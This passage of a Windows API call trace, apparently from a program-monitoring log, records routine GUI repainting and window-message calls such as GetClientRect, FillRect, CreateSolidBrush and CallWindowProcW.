(hdc=0x10105d6, color=0xffffff) returned 0xffffff [0154.470] GetSysColorBrush (nIndex=5) returned 0x100079 [0154.470] GetClientRect (in: hWnd=0x7004e, lpRect=0x19decc | out: lpRect=0x19decc) returned 1 [0154.470] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.470] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.470] GetSystemMetrics (nIndex=42) returned 0 [0154.470] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19ddac, nMaxCount=1 | out: lpString="") returned 0 [0154.470] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19ddac) returned 0x0 [0154.470] GetClientRect (in: hWnd=0x7004e, lpRect=0x19ddd4 | out: lpRect=0x19ddd4) returned 1 [0154.470] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.470] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.470] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.470] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.470] SaveDC (hdc=0x10105d6) returned 1 [0154.471] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.471] CreateSolidBrush (color=0x323533) returned 0x4210071f [0154.471] FillRect (hDC=0x10105d6, lprc=0x19dc74, hbr=0x4210071f) returned 1 [0154.471] DeleteObject (ho=0x4210071f) returned 1 [0154.471] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.471] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.471] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.471] GetSystemMetrics (nIndex=42) returned 0 [0154.471] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.471] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.471] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.471] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.471] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.471] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.471] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.471] SaveDC (hdc=0x10105d6) returned 1 [0154.471] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.471] CreateSolidBrush (color=0x323533) returned 0x4310071f [0154.472] FillRect (hDC=0x10105d6, lprc=0x19dc14, hbr=0x4310071f) returned 1 [0154.472] DeleteObject (ho=0x4310071f) returned 1 [0154.472] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.472] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.472] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.472] GetSystemMetrics (nIndex=42) returned 0 [0154.472] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.472] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.473] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0154.473] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0154.473] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0154.473] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.473] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0154.473] GetStockObject (i=5) returned 0x900015 [0154.473] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.474] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e504 | out: lpRect=0x19e504) returned 1 [0154.474] GetWindowTextLengthW (hWnd=0x9020a) returned 0 [0154.474] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.474] GetSystemMetrics (nIndex=42) returned 0 [0154.474] GetWindowTextW (in: hWnd=0x9020a, lpString=0x19e3e4, nMaxCount=1 | out: lpString="") returned 0 [0154.474] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0xd, wParam=0x1, lParam=0x19e3e4) returned 0x0 [0154.474] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e40c | out: lpRect=0x19e40c) returned 1 [0154.474] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.474] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.474] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.474] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.474] SaveDC (hdc=0x1b010670) returned 1 [0154.474] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.474] CreateSolidBrush (color=0x323533) returned 0x4410071f [0154.474] FillRect (hDC=0x1b010670, lprc=0x19e2ac, hbr=0x4410071f) returned 1 [0154.474] DeleteObject (ho=0x4410071f) returned 1 [0154.474] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.475] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.475] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10214, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.475] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.475] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.476] GetClientRect (in: hWnd=0x10218, lpRect=0x19e504 | out: lpRect=0x19e504) returned 1 [0154.476] GetWindowTextLengthW (hWnd=0x10218) returned 0 [0154.476] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.476] GetSystemMetrics (nIndex=42) returned 0 [0154.476] GetWindowTextW (in: hWnd=0x10218, lpString=0x19e3e4, nMaxCount=1 | out: lpString="") returned 0 [0154.476] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0xd, wParam=0x1, lParam=0x19e3e4) returned 0x0 [0154.476] GetClientRect (in: hWnd=0x10218, lpRect=0x19e40c | out: lpRect=0x19e40c) returned 1 [0154.476] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.476] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.476] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.476] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.476] SaveDC (hdc=0x1b010670) returned 1 [0154.476] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.476] CreateSolidBrush (color=0x323533) returned 0x4510071f [0154.476] FillRect (hDC=0x1b010670, lprc=0x19e2ac, hbr=0x4510071f) returned 1 [0154.476] DeleteObject (ho=0x4510071f) returned 1 [0154.476] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.477] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.477] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.477] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.478] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.481] GetClientRect (in: hWnd=0x10220, lpRect=0x19e504 | out: lpRect=0x19e504) returned 1 [0154.481] GetWindowTextLengthW (hWnd=0x10220) returned 0 [0154.481] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.481] GetSystemMetrics (nIndex=42) returned 0 [0154.481] GetWindowTextW (in: hWnd=0x10220, lpString=0x19e3e4, nMaxCount=1 | out: lpString="") returned 0 [0154.481] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0xd, wParam=0x1, lParam=0x19e3e4) returned 0x0 [0154.481] GetClientRect (in: hWnd=0x10220, lpRect=0x19e40c | out: lpRect=0x19e40c) returned 1 [0154.481] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.481] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.481] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.481] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.481] SaveDC (hdc=0x1b010670) returned 1 [0154.482] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.482] CreateSolidBrush (color=0x323533) returned 0x4610071f [0154.482] FillRect (hDC=0x1b010670, lprc=0x19e2ac, hbr=0x4610071f) returned 1 [0154.482] DeleteObject (ho=0x4610071f) returned 1 [0154.482] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.482] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10222, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.482] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10224, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.483] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.483] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0154.483] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0154.483] GetSysColorBrush (nIndex=5) returned 0x100079 [0154.484] GetClientRect (in: hWnd=0x10220, lpRect=0x19decc | out: lpRect=0x19decc) returned 1 [0154.484] GetWindowTextLengthW (hWnd=0x10220) returned 0 [0154.484] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.484] GetSystemMetrics (nIndex=42) returned 0 [0154.484] GetWindowTextW (in: hWnd=0x10220, lpString=0x19ddac, nMaxCount=1 | out: lpString="") returned 0 [0154.484] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0xd, wParam=0x1, lParam=0x19ddac) returned 0x0 [0154.484] GetClientRect (in: hWnd=0x10220, lpRect=0x19ddd4 | out: lpRect=0x19ddd4) returned 1 [0154.484] GetCurrentObject (hdc=0x1801019f, type=0x1) returned 0xb00017 [0154.484] GetCurrentObject (hdc=0x1801019f, type=0x2) returned 0x900010 [0154.484] GetCurrentObject (hdc=0x1801019f, type=0x7) returned 0x49050719 [0154.484] GetCurrentObject (hdc=0x1801019f, type=0x6) returned 0x8a01c2 [0154.484] SaveDC (hdc=0x1801019f) returned 1 [0154.484] GetNearestColor (hdc=0x1801019f, color=0x323533) returned 0x323533 [0154.485] CreateSolidBrush (color=0x323533) returned 0x4710071f [0154.485] FillRect (hDC=0x1801019f, lprc=0x19dc74, hbr=0x4710071f) returned 1 [0154.485] DeleteObject (ho=0x4710071f) returned 1 [0154.485] RestoreDC (hdc=0x1801019f, nSavedDC=-1) returned 1 [0154.485] GetWindowTextLengthW (hWnd=0x10220) returned 0 [0154.485] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.485] GetSystemMetrics (nIndex=42) returned 0 [0154.485] GetWindowTextW (in: hWnd=0x10220, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.485] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.485] GetClientRect (in: hWnd=0x10220, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.485] GetCurrentObject (hdc=0x1801019f, type=0x1) returned 0xb00017 [0154.485] GetCurrentObject (hdc=0x1801019f, type=0x2) returned 0x900010 [0154.485] GetCurrentObject (hdc=0x1801019f, type=0x7) returned 0x49050719 [0154.485] GetCurrentObject (hdc=0x1801019f, type=0x6) returned 0x8a01c2 [0154.485] SaveDC (hdc=0x1801019f) returned 1 [0154.485] GetNearestColor (hdc=0x1801019f, color=0x323533) returned 0x323533 [0154.485] CreateSolidBrush (color=0x323533) returned 0x4810071f [0154.486] FillRect (hDC=0x1801019f, lprc=0x19dc14, hbr=0x4810071f) returned 1 [0154.486] DeleteObject (ho=0x4810071f) returned 1 [0154.486] RestoreDC (hdc=0x1801019f, nSavedDC=-1) returned 1 [0154.486] GetWindowTextLengthW (hWnd=0x10220) returned 0 [0154.486] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.486] GetSystemMetrics (nIndex=42) returned 0 [0154.486] GetWindowTextW (in: hWnd=0x10220, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.486] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10220, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.487] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10226, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0154.487] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.487] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10228, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0154.487] GetStockObject (i=5) returned 0x900015 [0154.487] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.487] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.487] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.487] GetSysColorBrush (nIndex=5) returned 0x100079 [0154.488] GetClientRect (in: hWnd=0x7004e, lpRect=0x19decc | out: lpRect=0x19decc) returned 1 [0154.488] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.488] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.488] GetSystemMetrics (nIndex=42) returned 0 [0154.488] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19ddac, nMaxCount=1 | out: lpString="") returned 0 [0154.488] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19ddac) returned 0x0 [0154.488] GetClientRect (in: hWnd=0x7004e, lpRect=0x19ddd4 | out: lpRect=0x19ddd4) returned 1 [0154.488] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.488] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.488] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.488] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.488] SaveDC (hdc=0x1e0106e1) returned 1 [0154.488] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.489] CreateSolidBrush (color=0x323533) returned 0x4910071f [0154.489] FillRect (hDC=0x1e0106e1, lprc=0x19dc74, hbr=0x4910071f) returned 1 [0154.489] DeleteObject (ho=0x4910071f) returned 1 [0154.489] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.489] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.489] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.489] GetSystemMetrics (nIndex=42) returned 0 [0154.489] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.489] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.489] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.489] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.489] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.489] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.489] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.489] SaveDC (hdc=0x1e0106e1) returned 1 [0154.489] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.489] CreateSolidBrush (color=0x323533) returned 0x4a10071f [0154.489] FillRect (hDC=0x1e0106e1, lprc=0x19dc14, hbr=0x4a10071f) returned 1 [0154.490] DeleteObject (ho=0x4a10071f) returned 1 [0154.490] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.490] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.490] GetSystemMetrics (nIndex=42) returned 0 [0154.490] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.490] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.491] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x14, wParam=0x60100ce, lParam=0x0) [0154.491] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0154.491] IsChild (hWndParent=0x7004e, hWnd=0x1023e) returned 0 [0154.491] GetParent (hWnd=0x7004e) returned 0x1023e [0154.491] GetWindowThreadProcessId (in: hWnd=0x40210, lpdwProcessId=0x19e808 | out: lpdwProcessId=0x19e808) returned 0x390 [0154.491] SetParent (hWndChild=0x40210, hWndNewParent=0x1023c) [0154.491] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.492] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x46, wParam=0x0, lParam=0x19e764) returned 0x0 [0154.492] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e46c | out: lpRect=0x19e46c) returned 1 [0154.492] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.492] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.492] GetSystemMetrics (nIndex=42) returned 0 [0154.492] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0154.492] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0154.492] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0154.492] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.495] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.495] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.495] GetSystemMetrics (nIndex=42) returned 0 [0154.495] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0154.495] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0154.495] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0154.495] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.496] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.496] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.496] GetSystemMetrics (nIndex=42) returned 0 [0154.496] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0154.496] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0154.497] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0154.497] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.497] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0154.498] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.498] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.498] GetSystemMetrics (nIndex=42) returned 0 [0154.498] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0154.498] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0154.499] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0154.499] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.499] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0154.501] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.501] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.501] GetSystemMetrics (nIndex=42) returned 0 [0154.501] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd14, nMaxCount=1 | out: lpString="") returned 0 [0154.501] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd14) returned 0x0 [0154.501] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd3c | out: lpRect=0x19dd3c) returned 1 [0154.501] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.501] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.501] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.501] GetSystemMetrics (nIndex=42) returned 0 [0154.501] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dcb4, nMaxCount=1 | out: lpString="") returned 0 [0154.501] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dcb4) returned 0x0 [0154.501] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dcdc | out: lpRect=0x19dcdc) returned 1 [0154.501] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.501] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.501] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.502] GetSystemMetrics (nIndex=42) returned 0 [0154.502] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dcb4, nMaxCount=1 | out: lpString="") returned 0 [0154.502] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dcb4) returned 0x0 [0154.504] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0154.504] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.506] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.506] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.506] GetSystemMetrics (nIndex=42) returned 0 [0154.506] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd14, nMaxCount=1 | out: lpString="") returned 0 [0154.506] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd14) returned 0x0 [0154.506] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd3c | out: lpRect=0x19dd3c) returned 1 [0154.506] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.507] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.507] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.507] GetSystemMetrics (nIndex=42) returned 0 [0154.507] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dcb4, nMaxCount=1 | out: lpString="") returned 0 [0154.507] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dcb4) returned 0x0 [0154.507] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dcdc | out: lpRect=0x19dcdc) returned 1 [0154.507] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.507] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.507] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.507] GetSystemMetrics (nIndex=42) returned 0 [0154.507] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dcb4, nMaxCount=1 | out: lpString="") returned 0 [0154.507] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dcb4) returned 0x0 [0154.512] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0154.512] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0154.515] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.515] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.515] GetSystemMetrics (nIndex=42) returned 0 [0154.515] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd14, nMaxCount=1 | out: lpString="") returned 0 [0154.515] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd14) returned 0x0 [0154.515] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd3c | out: lpRect=0x19dd3c) returned 1 [0154.515] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.515] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.515] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.515] GetSystemMetrics (nIndex=42) returned 0 [0154.515] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dcb4, nMaxCount=1 | out: lpString="") returned 0 [0154.515] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dcb4) returned 0x0 [0154.515] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dcdc | out: lpRect=0x19dcdc) returned 1 [0154.515] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.515] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.516] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.516] GetSystemMetrics (nIndex=42) returned 0 [0154.516] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dcb4, nMaxCount=1 | out: lpString="") returned 0 [0154.516] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dcb4) returned 0x0 [0154.518] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0154.518] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.520] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.520] CallWindowProcW (lpPrevWndFunc=0x74600140, 